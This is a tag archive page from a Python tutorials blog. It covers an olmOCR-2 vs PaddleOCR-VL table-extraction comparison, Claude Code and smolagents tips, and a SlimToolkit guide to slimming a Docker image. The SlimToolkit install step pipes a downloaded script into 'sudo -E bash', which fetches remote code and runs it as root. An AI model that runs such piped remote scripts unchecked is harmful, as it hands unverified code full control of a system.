Generic selectors
Exact matches only
Search in title
Search in content
Post Type Selectors
Filter by Categories
About Article
AI Tools
Analyze Data
Archive
Best Practices
Better Outputs
Blog
Code Optimization
Code Quality
Command Line
Course
Daily tips
Dashboard
Data Analysis & Manipulation
Data Engineer
Data Visualization
DataFrame
Delta Lake
DevOps
DuckDB
Environment Management
Feature Engineer
Git
Jupyter Notebook
LLM
LLM Tools
Machine Learning
Machine Learning & AI
Machine Learning Tools
Manage Data
MLOps
Natural Language Processing
Newsletter Archive
NumPy
Pandas
Polars
PySpark
Python Helpers
Python Tips
Python Utilities
Scrape Data
SQL
Testing
Time Series
Tools
Visualization
Visualization & Reporting
Workflow & Automation
Workflow Automation

python

Auto-created tag for python

olmOCR-2 vs PaddleOCR-VL: Which Extracts PDF Tables Better?

Table of Contents

Introduction
The Test Document
Runtime Setup
olmOCR-2: Qwen2.5-VL Fine-Tune
PaddleOCR-VL 1.6: Pipeline VLM
Summary
Try It Yourself

Introduction
In a previous article, we tested three Python tools for PDF table extraction: Docling, Marker, and LlamaParse. None of them handled the test document perfectly: Docling hallucinated values, Marker merged columns on borderless rows, and LlamaParse added a duplicate empty column.
After publishing part 1, I came across two more tools that target the same problem and wanted to see how they perform compared to the ones we already tested:

olmOCR-2 from Allen Institute for AI, a 7B fine-tune of Qwen2.5-VL
PaddleOCR-VL 1.6 from Baidu, a 1B model with a layout-detection pipeline

Both claim state-of-the-art table extraction. We’ll test them on a Mac (Apple M5 Pro), using the same PDF as part 1, to see if they fix the failures we saw there.

💻 Get the Code: Open the notebook in Google Colab to run it in your browser, or grab the source from GitHub.

Stay Current with CodeCut
Easy-to-digest articles on Python, AI, and open-source tools. Delivered twice a week.

.codecut-subscribe-wrap {
display: flex;
justify-content: center;
}

.codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
border: none;
border-radius: 8px;
padding: 12px 28px;
font-family: inherit;
font-size: 16px;
font-weight: 700;
cursor: pointer;
text-decoration: none !important;
display: inline-flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}

.codecut-subscribe-btn:hover,
.codecut-subscribe-btn:focus {
background: #5aa8e8 !important;
color: #2F2D2E !important;
text-decoration: none !important;
}

/* Mobile responsive */
@media (max-width: 480px) {
.codecut-subscribe-btn {
width: 100%;
text-align: center;
}
}

Subscribe for free

The Test Document
For a fair comparison, we will use the same PDF as part 1: the Docling Technical Report from arXiv:
import urllib.request

source = "https://arxiv.org/pdf/2408.09869"
local_pdf = "docling_report.pdf"
urllib.request.urlretrieve(source, local_pdf)

Runtime Setup
Neither olmOCR-2 nor PaddleOCR-VL ships with native Apple Silicon support in its official Python package. Both rely on CUDA-only inference stacks. To run them on a Mac, we have two options:

Rent a cloud GPU (RunPod, Modal, Lambda) and use the official inference path
Use community GGUF quantizations with llama.cpp. GGUF is a file format that packages compressed model weights into a single file. llama.cpp is an inference engine that can load GGUF files and run them on Apple Silicon’s GPU, bypassing the CUDA dependency entirely.

In this article, we will use the GGUF + llama.cpp path for the rest of this article because the compressed model files fit on a laptop and the setup runs free on Apple Silicon.
Install llama.cpp:
brew install llama.cpp

This article uses llama.cpp build 9380.
olmOCR-2: Qwen2.5-VL Fine-Tune
olmOCR-2 is Allen AI’s open-weight OCR model. It stands out for three reasons:

A 7B fine-tune of Qwen2.5-VL reads each PDF page as an image
Cheap to run at scale: on a rented NVIDIA H100, olmOCR-2 processes a few pages per second, working out to about $2 per 10,000 pages in cloud costs
Strongest table benchmark: scores 84.9 on tables on its own olmOCR-Bench, the highest among open VLM-OCR models at release

olmOCR-2 takes the whole PDF page as an image and produces structured output in a single step. This is the same architecture as Docling’s VLM pipeline from part 1, just with a different model.
PDF page rendered as image
┌─────────────────────┐
│ Text paragraph… │
│ Name Score │
│ Alice 92 │
│ Bob 85 │
└─────────────────────┘
│
▼
One model reads the page
and writes the output
│
▼
| Name | Score |
|——-|——-|
| Alice | 92 |
| Bob | 85 |

Download the GGUF and vision projector
To use olmOCR-2 with llama.cpp, download two files: the model weights and the vision projector (mmproj).
# Language model (Q8_0, ~8 GB)
curl -L -O https://huggingface.co/lmstudio-community/olmOCR-2-7B-1025-GGUF/resolve/main/olmOCR-2-7B-1025-Q8_0.gguf

# Vision projector (F16, ~1.4 GB)
curl -L -O https://huggingface.co/lmstudio-community/olmOCR-2-7B-1025-GGUF/resolve/main/mmproj-olmOCR-2-7B-1025-F16.gguf

Table extraction
olmOCR-2 reads images, not PDFs, so we’ll extract tables in three steps:

Convert each PDF page to an image
Run olmOCR-2 on each image and collect the output
Extract the tables from the combined output with a regex

For step 1, we will use pdf2image, which depends on the poppler system binary. Install both:
brew install poppler
pip install pdf2image

Now convert each page to a JPEG:
import subprocess
from pathlib import Path
from pdf2image import convert_from_path

images_dir = Path("images")
images_dir.mkdir(exist_ok=True)

pages = convert_from_path(local_pdf, dpi=200)
for i, page in enumerate(pages):
page.save(images_dir / f"page_{i}.jpg")

olmOCR-2 doesn’t have a pure-Python API that runs on Apple Silicon, so we shell out to llama-mtmd-cli via subprocess for each page. The command for one page looks like this:
llama-mtmd-cli \
-m olmOCR-2-7B-1025-Q8_0.gguf \
–mmproj mmproj-olmOCR-2-7B-1025-F16.gguf \
–image page_0.jpg \
-p "Convert this page to markdown. Preserve tables exactly. Output tables in HTML format." \
–n-predict 3072

What each flag does:

-m: the language model weights (the .gguf we downloaded)
–mmproj: the vision encoder (the mmproj we downloaded)
–image: the input image to process
-p: the prompt sent to the model
–n-predict: the maximum number of tokens to generate (3072 is enough for most table-heavy pages)

Wrap it in a Python helper so we can loop over pages:
import re

def extract_with_olmocr(page_path: str) -> str:
result = subprocess.run(
[
"llama-mtmd-cli",
"-m", "olmOCR-2-7B-1025-Q8_0.gguf",
"–mmproj", "mmproj-olmOCR-2-7B-1025-F16.gguf",
"–image", page_path,
"-p", "Convert this page to markdown. Preserve tables exactly. Output tables in HTML format.",
"–n-predict", "3072",
],
capture_output=True,
text=True,
)
return result.stdout

Run the helper on every page and combine the outputs:
%%time
olmocr_output = "\n".join(
extract_with_olmocr(str(images_dir / f"page_{i}.jpg")) for i in range(len(pages))
)

OutputWall time: 5min 34s

olmOCR-2’s output is mostly Markdown but tables come out as HTML blocks. Extract them with a regex:
all_tables = re.findall(r"<table>.*?</table>", olmocr_output, re.DOTALL)
print(f"Items tagged as table: {len(all_tables)}")

OutputItems tagged as table: 4

Not every block tagged <table> is actually a table. olmOCR-2 misreads the author block on the title page as a table and outputs two copies of it. We filter both out:
incorrect_table_indices = (1, 2)

tables = [t for i, t in enumerate(all_tables) if i not in incorrect_table_indices]
print(f"Actual tables: {len(tables)}")

OutputActual tables: 2

The output is HTML, so use IPython.display.HTML to see it rendered:
from IPython.display import display, HTML

Let’s look at the first table. Here’s the original from the PDF:

And here’s what olmOCR-2 extracted:
display(HTML(tables[0]))

Worked:

The two-tier header matches the original: “native backend” and “pypdfium backend” each sit above their three sub-columns (TTS, Pages/s, Mem)
All numeric values match the original
CPU names like “Apple M3 Max (16 cores)” stay in a single cell

Didn’t work:

Merged cells (6.20 GB, 6.16 GB, and the CPU names) only appear in the first row of each CPU group, leaving the continuation row blank. The original PDF shows these values spanning both rows.

Now the second table. Here’s the original:

This is the hardest table in the document: 12 rows of similar-looking numbers and no cell borders to mark column boundaries. And here’s what olmOCR-2 extracted:
display(HTML(tables[1]))

Worked:

All 12 row labels (Caption, Footnote, …, All) preserved
12 data rows extracted with one numeric value per cell

Didn’t work:

Two column headers are missing: Only 4 of the 6 columns have headers, so the class-label column and one of the model columns appear unlabeled.
MRCNN R101 is dropped from the header row: The numeric values in that column still appear, but they sit under the wrong header name.
Hyphenated ranges become decimals: Every entry in the “human” range column is wrong: 84-89 becomes 84.89, 83-91 becomes 83.91, and so on.
Numeric values drift in several cells: Most rows have at least one digit substitution (Page-footer 61.6 → 74.6, List-item 81.2 → 81.6, All-row 72.4 → 77.4).

Conclusion: olmOCR-2’s output looks clean but can be quietly wrong. It handles structured tables with merged cells correctly (table 1), but introduces character-level errors on dense numeric tables (table 2). Verify numeric values before trusting them.
Performance
olmOCR-2 took 5 min 34 s for the 9-page PDF on an Apple M5 Pro (64 GB RAM), about 37 seconds per page through GGUF + llama.cpp.
For production on a Mac, switch to the native MLX build (mlx-community/olmOCR-2-7B-1025-8bit), which runs about 20% faster than GGUF.
PaddleOCR-VL 1.6: Pipeline VLM
PaddleOCR-VL is Baidu’s open-weight document parser. It stands out for three reasons:

A 1B fine-tune of ERNIE-4.5, the smallest model of the new VLM-OCR generation
Strong multilingual support including Chinese ancient documents, scans, and stamps (not tested in this article)
Mature ecosystem: PaddleOCR has 78.9k stars on GitHub and a long history of production deployment

Unlike olmOCR-2’s single-pass approach, PaddleOCR-VL splits table extraction into two stages:

Layout detection locates each text block, table, and figure on the page
Element-level VL recognition reads each detected region and converts it to text or structured Markdown

PDF page
┌─────────────────────┐
│ Text paragraph… │
│ Name Score │
│ Alice 92 │
│ Bob 85 │
└─────────────────────┘
│
▼
1. Layout detection identifies [TABLE] region
│
▼
2. Element-level VL reads only the table region
│
▼
| Name | Score |
|——-|——-|
| Alice | 92 |
| Bob | 85 |

Install
Pick the install that matches your hardware.
Apple Silicon (Mac):
pip install paddlepaddle
pip install -U "paddleocr[doc-parser]>=3.6.0"

Linux / Windows (NVIDIA):
pip install paddlepaddle-gpu==3.2.1
pip install -U "paddleocr[doc-parser]>=3.6.0"

This article uses PaddleOCR v3.6.0.
Table extraction
Unlike olmOCR-2, PaddleOCR-VL accepts a PDF path directly and returns a result object per page. No PDF-to-image conversion or subprocess loop required:
from paddleocr import PaddleOCRVL

pipeline = PaddleOCRVL(pipeline_version="v1.6")

Run the pipeline on the PDF:
%%time
results = pipeline.predict(local_pdf)

OutputWall time: 7min 56s

Each entry in results corresponds to one page of the PDF. Loop through them and collect the tables:
# Create an output directory for the per-page markdown files
paddle_output_dir = Path("paddle_output")
paddle_output_dir.mkdir(exist_ok=True)

# Save each page's markdown to disk
for res in results:
res.save_to_markdown(save_path=str(paddle_output_dir))

# Find every HTML table block
all_paddle_tables = []
for md_file in sorted(paddle_output_dir.glob("*.md")):
content = md_file.read_text()
all_paddle_tables.extend(re.findall(r"<table[^>]*>.*?</table>", content, re.DOTALL))

print(f"Items tagged as table: {len(all_paddle_tables)}")

OutputItems tagged as table: 3

Not every block PaddleOCR-VL tagged as a table is a unique table. The third item is a malformed near-duplicate of the second. Let’s filter it out:
incorrect_table_indices = (2,)

paddle_tables = [t for i, t in enumerate(all_paddle_tables) if i not in incorrect_table_indices]
print(f"Actual tables: {len(paddle_tables)}")

OutputActual tables: 2

Let’s look at the first table. Here’s the original from the PDF:

And here’s what PaddleOCR-VL extracted:
display(HTML(paddle_tables[0]))

Worked:

The two-tier header matches the original: “native backend” and “pypdfium backend” each sit above their three sub-columns, with CPU and Thread budget extending across both header rows
Merged cells appear correctly: “Apple M3 Max (16 cores)” spans both of its thread-budget rows, and “6.20 GB” spans both Mem rows (no blank continuation rows like olmOCR-2 had)
All numeric values match the source

Didn’t work:

Multi-line column labels (CPU names, Thread budget) render on a single line; the original PDF had them on two lines

Now the second table. Here’s the original from the PDF:

And here’s what PaddleOCR-VL extracted:
display(HTML(paddle_tables[1]))

Worked:

All 12 class-label rows plus the Total row are present (truncated above for space)
Hyphenated ranges preserved correctly as “84-89”, “40-61”, exactly where olmOCR-2 misread them as decimals
“n/a” entries preserved
All numeric values match the source

Didn’t work:

Header grouping is wrong: The two parent headers in the original PDF get split into three in the extraction: “Count” is absorbed into “% of Total”, and “triple inter-annotator mAP @ 0.5-0.95 (%)” is split into two separate parents.

Conclusion: PaddleOCR-VL is 7x smaller than olmOCR-2 (1B vs 7B parameters) and still more accurate on this PDF. All numeric values match the source, merged cells render correctly, and the only real flaw is the mis-grouped multi-tier headers.
Performance
PaddleOCR-VL 1.6 took about 7 min 56 s for the full 9-page PDF on an Apple M5 Pro running CPU PaddlePaddle, roughly 53 seconds per page.
Even though the model is smaller than olmOCR-2, the pipeline overhead (layout detection plus element-level recognition) makes it slower per page than olmOCR-2 on this hardware.
Summary
Stack-ranking all five tools tested across both articles on the same PDF:

Feature
Docling
Marker
LlamaParse
olmOCR-2
PaddleOCR-VL 1.6

Approach
Vision-language model (local)
Pipeline (local)
LLM agent (cloud)
Vision-language model (local)
Pipeline (local)

Tables detected (3 in PDF)
2
3
3
3
2

Accuracy overall
Poor: hallucinates values on dense tables
Mixed: column collapse on borderless tables
High: values correct, structure flattened
Mixed: silent character errors (digit drift, hyphen→decimal)
High: values correct, header grouping mis-aligned

Speed (M5 Pro, 9-page PDF)
~1 min 50s
~47s
~8.54s
~5 min 34s
~7 min 56s

Pricing
Free (MIT)
Free (GPL-3.0)
Free tier (10k credits/month)
Free (Apache 2.0)
Free (Apache 2.0)

In short, neither of the new VLM-OCR tools beats LlamaParse on this PDF:

LlamaParse: all 3 tables, all values correct
olmOCR-2: all 3 tables, but silent character errors on the dense numeric grid
PaddleOCR-VL 1.6: clean merged cells on 2 of 3 tables, missed the dense numeric one

Try It Yourself
These benchmarks are based on a single academic PDF tested on an Apple M5 Pro (64 GB RAM) using GGUF Q8_0 quantizations via llama.cpp. Table complexity, document language, scan quality, and hardware all affect the results. The best way to pick the right tool is to run each one on a sample of your own PDFs.
Related Tutorials

PDF Table Extraction: Docling vs Marker vs LlamaParse Compared: Part 1 of this comparison, covering three earlier tools on the same test PDF
Transform Any PDF into Searchable AI Data with Docling: Docling’s full document processing capabilities including chunking and RAG integration
Turn Receipt Images into Spreadsheets with LlamaIndex: Extracting structured data from images using the same LlamaIndex ecosystem

Stay Current with CodeCut
Easy-to-digest articles on Python, AI, and open-source tools. Delivered twice a week.

.codecut-subscribe-wrap {
display: flex;
justify-content: center;
}

.codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
border: none;
border-radius: 8px;
padding: 12px 28px;
font-family: inherit;
font-size: 16px;
font-weight: 700;
cursor: pointer;
text-decoration: none !important;
display: inline-flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}

.codecut-subscribe-btn:hover,
.codecut-subscribe-btn:focus {
background: #5aa8e8 !important;
color: #2F2D2E !important;
text-decoration: none !important;
}

/* Mobile responsive */
@media (max-width: 480px) {
.codecut-subscribe-btn {
width: 100%;
text-align: center;
}
}

Subscribe for free

olmOCR-2 vs PaddleOCR-VL: Which Extracts PDF Tables Better? Read More »

Claude Code – Move Session Context Across Folders with /export

Grab your coffee. Here are this week’s highlights.

📅 Today’s Picks

Python contextlib – Reuse Context Managers as Function Decorators

Problem
Many developers know @contextmanager as a convenient way to add setup and teardown logic around a with block.
But fewer realize it can also be used as a function decorator.
A common pattern for timing or logging functions is to write a separate decorator using functools.wraps. But this means maintaining two versions of the same logic, which can drift over time.
Solution
Since Python 3.3, any function decorated with @contextmanager can be used both ways:

Need to time a code block? with duration("…"):
Need to time a whole function? @duration("…")

Claude Code – Move Session Context Across Folders with /export

Problem
Each Claude session lives in the folder where it was started. When you open Claude somewhere else, the previous context does not carry over.
You could ask Claude to summarize the old session and paste it into the new one, but summaries can miss important details, decisions, or tool outputs.
Solution
Claude Code‘s /export command gives you the full conversation as a plain text file, including tool calls.
How to use it:

Run /export filename.md in the original folder before switching
Open a new Claude session in the other folder
Ask Claude to read filename.md and continue the task

Stay Current with CodeCut

Actionable Python tips, curated for busy data pros. Skim in under 2 minutes, three times a week.

.codecut-subscribe-form .codecut-input {
background: #2F2D2E !important;
border: 1px solid #72BEFA !important;
color: #FFFFFF !important;
}
.codecut-subscribe-form .codecut-input::placeholder {
color: #999999 !important;
}
.codecut-subscribe-form .codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
}
.codecut-subscribe-form .codecut-subscribe-btn:hover {
background: #5aa8e8 !important;
}

.codecut-subscribe-form {
max-width: 650px;
display: flex;
flex-direction: column;
gap: 8px;
}
.codecut-input {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background: #FFFFFF;
border-radius: 8px !important;
padding: 8px 12px;
font-family: ‘Comfortaa’, sans-serif !important;
font-size: 14px !important;
color: #333333;
border: none !important;
outline: none;
width: 100%;
box-sizing: border-box;
}
input[type=”email”].codecut-input {
border-radius: 8px !important;
}
.codecut-input::placeholder {
color: #666666;
}
.codecut-email-row {
display: flex;
align-items: stretch;
height: 36px;
gap: 8px;
}
.codecut-email-row .codecut-input {
flex: 1;
}
.codecut-subscribe-btn {
background: #72BEFA;
color: #2F2D2E;
border: none;
border-radius: 8px;
padding: 8px 14px;
font-family: ‘Comfortaa’, sans-serif;
font-size: 14px;
font-weight: 500;
cursor: pointer;
text-decoration: none;
display: flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}
.codecut-subscribe-btn:hover {
background: #5aa8e8;
}
.codecut-subscribe-btn:disabled {
background: #999;
cursor: not-allowed;
}
.codecut-message {
font-family: ‘Comfortaa’, sans-serif;
font-size: 12px;
padding: 8px;
border-radius: 6px;
display: none;
}
.codecut-message.success {
background: #d4edda;
color: #155724;
display: block;
}
@media (max-width: 480px) {
.codecut-email-row {
flex-direction: column;
height: auto;
gap: 8px;
}
.codecut-input {
border-radius: 8px;
height: 36px;
}
.codecut-subscribe-btn {
width: 100%;
text-align: center;
border-radius: 8px;
height: 36px;
}
}

Subscribe

Claude Code – Move Session Context Across Folders with /export Read More »

smolagents: Build an AI Agent in 4 Lines of Code

Grab your coffee. Here are this week’s highlights.

📅 Today’s Picks

Claude Code: Run Tasks to Completion with /goal

Problem
Starting a task in Claude Code often means spending multiple turns going back and forth before it finally reaches the result you wanted.
Solution
Claude Code‘s /goal command lets you define a completion condition once, then continues working until that condition is met.
After each turn, a lightweight model evaluates the conversation against your condition. If the goal is not satisfied, Claude gets sent back for another turn with a short explanation of what still needs to be done.
To get the most out of /goal, write a condition the evaluator can actually verify.

Name a measurable end state instead of a vague target (e.g. “all tests in test/auth pass” instead of “auth is working”)
List constraints that must hold along the way (e.g. “no other test file is modified” or “no tests are skipped or deleted”)
Add a safety limit like “stop after 20 turns” to avoid endless iterations.

📖 View Full Article

smolagents: Build an AI Agent in 4 Lines of Code

Problem
LangChain and LangGraph are powerful, but they also come with concepts like chains, runnables, and state graphs.
That is useful for complex workflows, but overkill when you just want to give a model a tool and let it solve a task.
Solution
smolagents from Hugging Face is a barebones agent library designed for simplicity.
In roughly 1,000 lines of code, it gives you the core pieces needed to build a working agent with a single import and three lines of setup.
Key features:

Agents act by writing Python in a sandbox, the same way you’d script a task in a notebook
Model-agnostic design, swap between OpenAI, Anthropic, local Ollama, or Hugging Face Inference
Push agents to the Hugging Face Hub to share with the community

Stay Current with CodeCut

Actionable Python tips, curated for busy data pros. Skim in under 2 minutes, three times a week.

.codecut-subscribe-form .codecut-input {
background: #2F2D2E !important;
border: 1px solid #72BEFA !important;
color: #FFFFFF !important;
}
.codecut-subscribe-form .codecut-input::placeholder {
color: #999999 !important;
}
.codecut-subscribe-form .codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
}
.codecut-subscribe-form .codecut-subscribe-btn:hover {
background: #5aa8e8 !important;
}

.codecut-subscribe-form {
max-width: 650px;
display: flex;
flex-direction: column;
gap: 8px;
}
.codecut-input {
-webkit-appearance: none;
-moz-appearance: none;
appearance: none;
background: #FFFFFF;
border-radius: 8px !important;
padding: 8px 12px;
font-family: ‘Comfortaa’, sans-serif !important;
font-size: 14px !important;
color: #333333;
border: none !important;
outline: none;
width: 100%;
box-sizing: border-box;
}
input[type=”email”].codecut-input {
border-radius: 8px !important;
}
.codecut-input::placeholder {
color: #666666;
}
.codecut-email-row {
display: flex;
align-items: stretch;
height: 36px;
gap: 8px;
}
.codecut-email-row .codecut-input {
flex: 1;
}
.codecut-subscribe-btn {
background: #72BEFA;
color: #2F2D2E;
border: none;
border-radius: 8px;
padding: 8px 14px;
font-family: ‘Comfortaa’, sans-serif;
font-size: 14px;
font-weight: 500;
cursor: pointer;
text-decoration: none;
display: flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}
.codecut-subscribe-btn:hover {
background: #5aa8e8;
}
.codecut-subscribe-btn:disabled {
background: #999;
cursor: not-allowed;
}
.codecut-message {
font-family: ‘Comfortaa’, sans-serif;
font-size: 12px;
padding: 8px;
border-radius: 6px;
display: none;
}
.codecut-message.success {
background: #d4edda;
color: #155724;
display: block;
}
@media (max-width: 480px) {
.codecut-email-row {
flex-direction: column;
height: auto;
gap: 8px;
}
.codecut-input {
border-radius: 8px;
height: 36px;
}
.codecut-subscribe-btn {
width: 100%;
text-align: center;
border-radius: 8px;
height: 36px;
}
}

Subscribe

smolagents: Build an AI Agent in 4 Lines of Code Read More »

Shrink Your Python Container in One Command with SlimToolkit

Table of Contents

Introduction
What Is SlimToolkit?
Build the Chatbot Image
Slim the Image
Inspecting the Result with slim xray
Final Thoughts

Introduction
Most Docker images contain far more than a Python application actually needs at runtime. They include full OS layers with shells, compilers, and utilities that often go completely unused, leading to unnecessarily large images that consume storage and slow deployment pipelines.
SlimToolkit analyzes your container at runtime, identifies which files are actually used, and builds a minimal image with only those dependencies.
This article walks through slimming a Chainlit LLM chatbot, but the same approach works on any Python container.

Stay Current with CodeCut
Easy-to-digest articles on Python, AI, and open-source tools. Delivered twice a week.

.codecut-subscribe-wrap {
display: flex;
justify-content: center;
}

.codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
border: none;
border-radius: 8px;
padding: 12px 28px;
font-family: inherit;
font-size: 16px;
font-weight: 700;
cursor: pointer;
text-decoration: none !important;
display: inline-flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}

.codecut-subscribe-btn:hover,
.codecut-subscribe-btn:focus {
background: #5aa8e8 !important;
color: #2F2D2E !important;
text-decoration: none !important;
}

/* Mobile responsive */
@media (max-width: 480px) {
.codecut-subscribe-btn {
width: 100%;
text-align: center;
}
}

Subscribe for free

What Is SlimToolkit?
SlimToolkit is a command-line tool that strips unused files from a container image without touching your Dockerfile. It works in two steps:

Static analysis. Looks at the image’s contents without running it.
Dynamic analysis. Runs the image to see which files the app actually uses.

The first step lists everything in the image. The second narrows that list to what the app actually needs. Everything outside the second list gets stripped.

Install it via the official install script (works on Linux and macOS):
curl -sL https://raw.githubusercontent.com/slimtoolkit/slim/master/scripts/install-slim.sh | sudo -E bash –

Or with Homebrew on macOS:
brew install docker-slim

Verify the install:
slim –version

Outputmint version darwin/arm64|Aurora|1.41.8|latest|latest

💻 Get the Code: The complete source code and Jupyter notebook for this tutorial are available on GitHub. Clone it to follow along!

Build the Chatbot Image
To test SlimToolkit, build a small Chainlit chatbot image first. We’ll write a small Chainlit chatbot, package it with a Dockerfile, and build it.
The Chainlit App
The chatbot app uses two libraries:

Chainlit: an open-source Python framework for building LLM chat UIs; provides the web interface and message handling
OpenAI SDK: calls gpt-4o-mini for responses

# app.py
import os
import chainlit as cl
from openai import AsyncOpenAI

client = AsyncOpenAI(api_key=os.environ.get("OPENAI_API_KEY"))

@cl.on_chat_start
async def start():
cl.user_session.set("messages", [])

@cl.on_message
async def main(message: cl.Message):
messages = cl.user_session.get("messages")
messages.append({"role": "user", "content": message.content})

response = await client.chat.completions.create(
model="gpt-4o-mini",
messages=messages,
)
reply = response.choices[0].message.content

messages.append({"role": "assistant", "content": reply})
cl.user_session.set("messages", messages)

await cl.Message(content=reply).send()

Here’s what happens when someone uses the chatbot:

At import time, AsyncOpenAI reads the OPENAI_API_KEY environment variable and constructs the client
When a new chat session opens, @cl.on_chat_start initializes an empty message list for that session
When the user types something, @cl.on_message appends it to the history, sends the whole conversation to gpt-4o-mini, stores the reply, and displays it

Before containerizing, let’s test it locally first. Export your OpenAI key:
export OPENAI_API_KEY=sk-…

Then run the app:
chainlit run app.py

Open http://localhost:8000, you should see the Chainlit welcome screen.

The Dockerfile
Pin every dependency in a requirements.txt so the build is reproducible:
# requirements.txt
chainlit==2.11.1
openai==2.16.0

Create a Dockerfile to build the image:
# Dockerfile
FROM python:3.11-slim

WORKDIR /app

COPY requirements.txt .
RUN pip install –no-cache-dir -r requirements.txt

COPY app.py .

EXPOSE 8000
CMD ["chainlit", "run", "app.py", "–host", "0.0.0.0", "–port", "8000", "-h"]

Here’s what each step does:

Pulls python:3.11-slim as the base image
Installs the pinned dependencies from requirements.txt
Copies in app.py
Starts Chainlit on port 8000 when the container runs

Build the image:
docker build -t llm-chatbot:fat .

Verify the image size:
docker images llm-chatbot:fat

OutputIMAGE ID DISK USAGE CONTENT SIZE EXTRA
llm-chatbot:fat e8de32dd85d4 308MB 0B

Around 300 MB. Let’s see if we can shrink it with SlimToolkit.
Slim the Image
To slim the image, start with the basic command:
slim build \
–target llm-chatbot:fat \
–tag llm-chatbot:slim \
–env OPENAI_API_KEY=$OPENAI_API_KEY

Each flag plays a role in the slim build:

–target llm-chatbot:fat: tells slim which image to minify
–tag llm-chatbot:slim: names the output image
–env OPENAI_API_KEY=$OPENAI_API_KEY: sets the env var inside slim’s probe container so the module-level AsyncOpenAI() can construct at import time

Here’s what happens when you run the command:

Slim inspects the fat image
Starts it in a sandbox
Sends a GET / probe and records every file the container touches
Builds a slim image containing only those files

But the default GET / only loads the chat UI shell. It doesn’t actually send a chat message, so files needed for the chat path (OpenAI’s lazy submodules, httpcore, etc.) get stripped. To trace the chat path too, add –continue-after enter:
slim build \
–target llm-chatbot:fat \
–tag llm-chatbot:slim \
–env OPENAI_API_KEY=$OPENAI_API_KEY \
–continue-after enter

–continue-after enter pauses slim after the default probe so you can open the chatbot in a browser and send a message; this tells slim what files the chat actually needs.

Now that the chat path runs during the probe, slim keeps openai.resources and httpcore in the final image:

Let’s compare both images:
docker images llm-chatbot

OutputIMAGE ID DISK USAGE CONTENT SIZE EXTRA
llm-chatbot:fat e8de32dd85d4 308MB 0B U
llm-chatbot:slim e1f5e9b31e53 123MB 0B

Nice! We reduced the image size from 308 MB to 123 MB, about a 2.5x reduction.
Let’s run the slim image with the environment variable and see what happens.
docker run -p 8000:8000 -e OPENAI_API_KEY=$OPENAI_API_KEY llm-chatbot:slim

OutputFile "/usr/local/lib/python3.11/site-packages/chainlit/server.py", line 181, in get_build_dir
raise FileNotFoundError(f"{local_target} built UI dir not found")
FileNotFoundError: libs/copilot built UI dir not found

The error comes from a mismatch between Chainlit and slim:

Chainlit expects chainlit/copilot/ to exist when the server starts
Even with –continue-after enter, slim removed chainlit/copilot/ because the chat you exercised in the browser only loaded the main chat UI. The Copilot widget is a separate Chainlit feature; no file inside chainlit/copilot/ was opened during the probe
Now Chainlit’s startup check finds the directory missing and the container crashes

This is not unique to Chainlit or chat-UI frameworks. Any framework that loads features lazily but checks for them at startup is vulnerable. Django’s admin, FastAPI apps with multiple routers, ML serving frameworks with embedded UIs, and plugin systems all hit the same problem.
Add –include-path for the Chainlit Package
The fix is –include-path, which tells SlimToolkit to preserve a path regardless of whether probing touched it. The path that matters is the whole Chainlit package directory, which contains every feature bundle Chainlit ships:
slim build \
–target llm-chatbot:fat \
–tag llm-chatbot:slim \
–include-path /usr/local/lib/python3.11/site-packages/chainlit \
–continue-after enter \
–env OPENAI_API_KEY=$OPENAI_API_KEY

Compare the images again:
docker images llm-chatbot

OutputIMAGE ID DISK USAGE CONTENT SIZE EXTRA
llm-chatbot:fat e8de32dd85d4 308MB 0B U
llm-chatbot:slim 952b6b44df9f 163MB 0B U

Re-run the image to confirm it works:
docker run -p 8000:8000 -e OPENAI_API_KEY=$OPENAI_API_KEY llm-chatbot:slim

With the chainlit directory preserved, the slim container starts and runs as expected.

Inspecting the Result with slim xray
To see exactly which files slim stripped, run slim xray against both images. It reverse-engineers a built image into a JSON report listing every file, its size, and the layer it came from. Slim always writes its output to slim.report.json, so rename the first report before the second run overwrites it:
slim xray –target llm-chatbot:fat
mv slim.report.json fat.report.json

slim xray –target llm-chatbot:slim

Each report is several megabytes of JSON, which makes manual comparison painful. To handle that, I packaged the diff and summary steps into compare.sh:
bash compare.sh

Here are the biggest deletions, grouped by bucket:

Removed
Size
Bucket

/usr/bin/perl
3.8 MB
OS cruft

libapt-pkg.so
2.4 MB
OS cruft (apt)

ensurepip/pip-24.0.whl
2.1 MB
Python build leftover

libdb-5.3.so
1.8 MB
OS cruft (apt)

/usr/bin/sqv
1.6 MB
OS cruft (apt’s PGP verifier)

/usr/bin/bash
1.4 MB
OS cruft

ensurepip/setuptools-79.0.1.whl
1.3 MB
Python build leftover

multidict/_multidict.so
923 kB
Unused part of aiohttp

jiter/jiter.so
880 kB
Unused part of openai

pydoc_data/topics.py
775 kB
Python build leftover

aiohttp/_http_writer.so
600 kB
Unused part of aiohttp

The biggest savings come from the Debian base image, not from the Python packages. Of the top 11 deletions:

Five are base-image binaries: perl, bash, libapt-pkg, libdb-5.3, sqv
Three are install-time leftovers: bundled pip and setuptools wheels, plus the pydoc help-text database
Three are write-side or helper modules of runtime libraries the probe didn’t exercise: aiohttp/_http_writer, multidict, jiter

Stay Current with CodeCut
Easy-to-digest articles on Python, AI, and open-source tools. Delivered twice a week.

.codecut-subscribe-wrap {
display: flex;
justify-content: center;
}

.codecut-subscribe-btn {
background: #72BEFA !important;
color: #2F2D2E !important;
border: none;
border-radius: 8px;
padding: 12px 28px;
font-family: inherit;
font-size: 16px;
font-weight: 700;
cursor: pointer;
text-decoration: none !important;
display: inline-flex;
align-items: center;
justify-content: center;
transition: background 0.3s ease;
}

.codecut-subscribe-btn:hover,
.codecut-subscribe-btn:focus {
background: #5aa8e8 !important;
color: #2F2D2E !important;
text-decoration: none !important;
}

/* Mobile responsive */
@media (max-width: 480px) {
.codecut-subscribe-btn {
width: 100%;
text-align: center;
}
}

Subscribe for free

Final Thoughts
